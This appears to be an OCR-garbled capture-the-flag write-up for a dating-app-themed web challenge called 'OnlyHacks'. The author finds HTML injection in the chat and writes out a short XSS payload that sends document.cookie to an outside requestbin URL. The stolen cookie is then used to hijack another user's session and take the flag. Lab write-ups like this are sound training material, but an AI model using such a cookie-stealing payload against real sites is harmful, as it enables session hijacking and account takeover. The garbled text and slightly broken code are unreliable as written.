Challenge OnlyHacks

We have this page, apparently a date-app web. We can't do nothing here until we register.

OnlyHacks

Don't have an account? Sign Up Now
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Male Female Other

Male Female

Afert we registered. We have a message section where we can chat with someone else.

Matches




After a match, I'm currently chating with a beautiful girl. Let's try fall in love her with an XSS

tic day! *bats eyelashes*

By the way, have you checked out my latest

streaming schedule? I've got some amazing

games lined up for you, and I'd love for you to

join me! Mot only will y

some awesome games, but you'll also get to

ou get to see me play

support a hardworking e-girl like me! Every
subscription and donation counts, and it would
mean the world to me if you could spare a little
bit of your time and resources to help me

pursue my dreams

y? Want to join me on my

gaming adventures and help a girl out?

<h1>0f course! -:.fi" 1=

Works. Now I'm going to hijack her cookie session:
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I'} Renata

@& Of course!

fant to join me on my

tures and help a girl out?

Of course!

Since we're not using any vpn to stay in the same Web's network we have to make the explotation via
Internet, for that we can use this web: http://requestbin.whapi.cloud/17¢5rx31



http://requestbin.whapi.cloud/17c5rx31

var req = new XMLHttpRequest

req.open('GET", 'http://requestbin.whapi.cloud/xxxxxxxx/?cookie=' + document.cookie

req.send

I send this payload and wait.

RequestBin

Bin URL

http://requestbin.whapi.cloud

Then I receive the petition.

Finally we just change the cookie using dev tools and we can see that Reneta has been chating with
others boys. We get the flag.
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